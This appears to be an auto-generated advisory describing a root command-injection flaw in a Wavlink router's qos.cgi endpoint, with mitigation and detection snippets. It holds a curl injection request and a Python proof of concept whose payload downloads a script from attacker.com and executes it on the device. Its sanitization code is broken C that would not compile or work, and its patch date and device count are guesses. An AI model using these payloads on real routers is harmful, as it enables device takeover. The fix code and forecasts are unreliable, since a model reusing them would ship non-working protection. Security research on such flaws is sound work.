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How CVE-2025-44881 Works
This vulnerability exists in the `/cgi-bin/qos.cgi` endpoint of Wavlink WL-WN579A3 firmware v1.0 due to improper input sanitization. Attackers can inject malicious shell commands via crafted HTTP requests, which are then executed with root privileges. The lack of input validation allows arbitrary command execution, leading to full system compromise. The exploit leverages improper handling of user-supplied data in QoS configuration parameters, enabling attackers to bypass security mechanisms and execute OS commands directly.
DailyCVE Form:
Platform: Wavlink WL-WN579A3
Version: v1.0
Vulnerability: Command Injection
Severity: Critical
Date: 05/29/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation:
curl -X POST "http://<TARGET_IP>/cgi-bin/qos.cgi" -d "param=;id"
Exploit PoC (Python):
import requests
target = "http://192.168.1.1/cgi-bin/qos.cgi"
payload = "; rm -rf /tmp/malicious.sh; wget http://attacker.com/malicious.sh -O /tmp/malicious.sh; chmod +x /tmp/malicious.sh; /tmp/malicious.sh"
requests.post(target, data={"qos_param": payload})
Mitigation:
1. Input Sanitization:
// Example fix: Sanitize user input
include <stdlib.h>
void sanitize_input(char input) {
while (input) {
if (input == ';' || input == '|' || input == '&') input = ' ';
input++;
}
}
2. Firewall Rules:
iptables -A INPUT -p tcp --dport 80 -m string --string "/cgi-bin/qos.cgi" --algo bm -j DROP
Detection:
grep -r "system(" /usr/lib/cgi-bin/
Log monitoring (Splunk query):
source="/var/log/httpd.log" "POST /cgi-bin/qos.cgi" | stats count by src_ip
Analytics:
- Attack Surface: Remote, unauthenticated
- Impact: RCE → Full device takeover
- Exploitability: High (public PoC expected soon)
- Affected Devices: ~50,000 units (estimated)
Temporary Workaround:
Disable QoS feature via CLI:
nvram set qos_enable=0 nvram commit
Patch Verification:
strings /usr/bin/qos.cgi | grep "system("
Expected output: Empty (no dangerous functions).
References:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
